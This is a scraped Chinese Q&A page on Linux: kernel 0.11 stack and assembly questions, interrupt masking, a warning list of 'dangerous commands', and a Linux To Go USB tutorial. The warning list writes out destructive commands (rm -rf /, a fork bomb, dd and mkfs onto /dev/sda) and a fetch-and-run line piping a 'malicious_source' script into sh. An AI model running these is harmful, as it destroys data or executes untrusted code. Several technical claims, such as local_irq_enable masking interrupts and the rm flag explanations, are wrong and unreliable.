導航:首頁 > 編程系統 > linuxesp1

linuxesp1

發布時間:2023-09-04 22:42:25

linux 內核0.11閱讀困惑

1、你說的「圖5-3顯示, fs先入棧,ebx後入棧」是不對的,恰好反了。
書上原話"在開始內執行程序容之前,堆棧指針 esp 指在中斷返回地址一欄 ( 圖中 esp0 處 ) 。當把將要調用的 C 函數do_divide_error()或其它 C 函數地址入棧後,指針位置是 esp1 處",這已經說明esp0的地址高於esp1的地址。同理ebx地址高於fs地址,即ebx先入棧。
2、3都是關於gnu內嵌匯編問題,需要自己看書的。
#define outb_p(value,port) \
__asm__ ("outb %%al,%%dx\n" \
"\tjmp 1f\n" \
"1:\tjmp 1f\n" \
"1:"::"a" (value),"d" (port))
相當於:
mov (value),%eax
mov (port),%edx
outb %al,(%dx)
就是給某個埠port發數據value的,<<微機介面>>里很多例子,例如給中斷控制器8259A初始化就是這樣做的。

⑵ 看linux代碼時看到這么一句:lss _stack_start,%esp,_stack_start在哪聲明的,誰知道呀

stack_start在sched.c文件L72行上定義的。

long user_stack[PAGE_SIZE>>2];

struc {
long * a;
short b;
} stack_start = { &user_stack[PAGE_SIZE>>2], 0x10 };

在內核初始化操作過程中被用作內核棧,初始化完成以後將被用作任務0的用戶態堆棧。在運行任務0之前它是內核代碼棧,以後用作任務0和1的用戶態棧。下面結構用於設置堆棧ss:esp(數據段選擇符,指針),見head.s,第23行。ss被設置為內核數據段選擇符(0x10),指針esp指在 user_stack數組最後一項後面。這是因為Intel CPU執行堆棧操作時是先遞減堆棧指針sp值,然後在sp指針處保存入棧內容。

描述符類型中的E比特位說明了指定段的擴張方向,而非棧的操作壓入方向。對於一般數據段,其基地址是段的開始處。而對於32位棧段來說(如果定義了棧類型段)它的基地址是指明從基地址開始到限長規定的這段內存是不可訪問的,即棧段是從限長開始處到線性地址末端(4G)處才是真正的棧的長度。這個E位就是起這個作用。

例如,如果內存空間為10。定義段基地址=3,長度=4。那麼若E=0,則段范圍是3--7。若動態加長段長度成6,那麼范圍就是3--9。即段的擴展位置在段的末端。

定義段基地址=3,長度=4。若E=1,則段范圍是7--10。若動態加長段長度成6,那麼范圍就是9--10。即段的擴展位置在前端。

可見E位僅確定了段的擴張方向。與棧的實際操作無關。

⑶ 關於Linux中禁用中斷和鎖定的關系問題

首先原子操作是通過local_irq_enable()這個宏來實現,這個宏實現了硬體中斷和軟體中斷的屏版蔽。這樣CPU就不權能被軟體中斷,如線程搶占。而當硬體中斷產生時,會將其結果保存到中斷控制器的SRCPND(resource-pend)寄存器中,然後將SRCPND的內容送去做中斷屏蔽檢測,這一工作由設置MASK寄存器相應的位完成,如果全部屏蔽,硬體中斷就不會產生了。當然了,每種處理器都有自己的中斷處理方法,通常的流程是這樣。

⑷ LINUX系統有哪些危險命令

這9個「非常危險」的Linux命令一定要記住!
1、rm-rf命令
rm-rf命令是刪除文件夾及其內容最快的一種方式,僅僅一丁點的敲錯或者無知都可能導致不可恢復的系統崩壞。
rm命令在Linux下通常用來刪除文件
rm-f命令遞歸的刪除文件夾,甚至是空的文件夾
rm-f命令能不經過詢問直接刪除只讀文件
rm-rf/:強制刪除根目錄下所有東西
rm-rf/*:強制刪除當前目錄的所有文件
rm-rf.:強制刪除當前文件夾及其子文件
溫馨提示:當你要執行rm -rf命令時,一定要留心,可以在「.bashrc」文件對「rm」命令創建rm
-i的別名,來預防用『rm』命令刪除文件時的事故。
2、:(){:|:&};:命令
這就是一個fork炸彈的實例。具體操作是通過定義一個名為':'的函數,它會調用自己兩次,一次在前台另一次運行在後台。它會反復的執行下去直到系統崩潰。
3、命令 >/dev/sda
上列命令會將某個'命令'的輸出寫到塊設備/dev/sda中。該操作會將在塊設備中的所有數據塊替換為命令寫入的原始數據,從而導致整個塊設備的數據丟失。
4、mv文件夾/dev/null
這個命令會移動某個'文件夾'到/dev/null。在Linux中/dev/null或null設備是一個特殊的文件,所有寫入它的數據都會被清除,然後返回寫操作成功。
5、wget http://malicious_source -O- | sh
上面這個命令會從一個惡意源下載一個腳本並執行。Wget命令會下載這個腳本,而sh會執行下載下來的腳本。
溫馨提示:你應該時刻注意你下載包或者腳本的源。只能使用那些從可信任的源中下載腳本/程序。
6、mkfs.ext3 /dev/sda
上列命令會格式化設備'sda',你無疑知道在執行上列命令後你的塊設備會被格式化,嶄新的。沒有任何數據,直接讓你的系統達到不可恢復的階段。
7、> file
上面命令常用來清空文件內容,如果用上列執行時輸入錯誤或無知的輸入類似「> xt.conf」的命令會覆蓋配置文件或其他任何的系統配置文件。
8、^foo^bar
這個命令用來編輯先前運行的命令而無需要打整個命令。但當用foobar命令時如果你沒有徹底檢查改變原始命令的風險,這可能導致真正的麻煩。
9、dd if=/dev/random of=/dev/sda
上面這個命令會向塊設備sda寫入隨機的垃圾文件從而擦出數據。當然,你的系統可能陷入混亂和不可恢復的狀態。

⑸ Linux To Go:製作隨身攜帶、即插即用的Linux系統

如何把Linux系統移植到U盤或移動硬碟上,並從USB驅動器中啟動並運行?下面我將教大家製作隨身攜帶、即插即用的Linux操作系統。(把當前系統移植到移動硬碟上)

為什麼需要這個功能呢?

硬體:

軟體:
Linux發行版自帶的工具 如 gparted grub cp

製作
Linux啟動盤的製作分為以下幾個步驟:分區、復制文件、安裝grub並配置、測試。 目的是把當前系統移植到移動硬碟上。

從LiveCD啟動,打開gparted分區工具, 把移動硬碟的分區表改為GPT 。我使用以下分區方案:

sdb1是UEFI+GPT模式下的引導分區,grub引導器就要裝在這里。
sdb2是放數據的,為了與Winodws兼容所以採用NTFS。
sdb3是Linux系統的全部內容,如果你想把家目錄單獨分出來也可以。
後面留空備用,結果如下圖

我原系統的文件儲存在 /dev/nvme0n1p3 (根分區)和 /dev/nvme0n1p4 (家分區)上,把這兩個分區掛載到 /mnt /mnt/home。每個人的分區情況不同,需要對應修改。掛載後,/mnt 目錄包括原系統的所有內容。

掛載 /dev/sdb3 到 /media/backup,把 /mnt 內容全部復制到 /media/backup
cp -a /mnt/* /media/backup/

GRUB 提供一個安裝程序grub-install用以安裝 GRUB 到磁碟,下面是grub-install的一些常用參數及選項:

UEFI 特有參數及選項:

掛載 /dev/sdb1 到 /media/backup/boot/efi ,把grub安裝到移動硬碟上

上面的 --boot-directory --efi-directory --removable 不可省略。

安裝之後要修改grub配置文件,就讓他自動生成好了。但要禁用os-prober功能——自動探測硬碟上的其他操作系統然後生成配置。Linux To Go 不依賴於其他操作系統,它的啟動菜單里只有自己。注意,不要使用update-grub,因為它會修改UEFI啟動項。

修改 /media/backup/etc/fstab,把UUID換成對應的值

安裝grub後,還要手動修改 /media/backup/etc/fstab 。Linux To Go只需要自動掛載兩個分區—— sdb1 ESP 和 sdb3 DEEPIN_ROOT,修改對應的UUID。

現在可以重啟試試了。開機按下F12 UEFI啟動菜單中有移動硬碟這個啟動項,選擇即可。

如果成功就OK;如果黑屏斷電,查看/media/backup/boot/efi 下的文件 把BOOTX64.EFI刪除,把 grubx64.efi 重命名為 BOOTX64.EFI 再重啟。

閱讀全文

與linuxesp1相關的資料

熱點內容
如何用金山毒霸切斷網路連接 瀏覽:873
怎麼設置文件打開密碼怎麼設置 瀏覽:5
網路小說用什麼寫 瀏覽:956
擴展名為rm的文件如何打開 瀏覽:707
導入android項目沒有rjava 瀏覽:899
帶英文和數字的文件名 瀏覽:843
黃山數控編程培訓在哪裡 瀏覽:111
win10俠盜5無限讀取 瀏覽:557
js工廠模式 瀏覽:927
iphone6s清理緩存 瀏覽:465
ug編程怎麼選不上字體 瀏覽:435
pc文件加密哪個好 瀏覽:393
蘋果軟體更新4位密碼 瀏覽:96
手機如何將文件弄成文件夾 瀏覽:275
swordigo第四關 瀏覽:996
t420win10網卡驅動 瀏覽:805
ps怎麼打開dxf文件怎麼打開 瀏覽:698
ps格式文件打開軟體 瀏覽:371
下載網路資源遇到哪些問題 瀏覽:887
抖音交友app廣告怎麼投 瀏覽:870

友情鏈接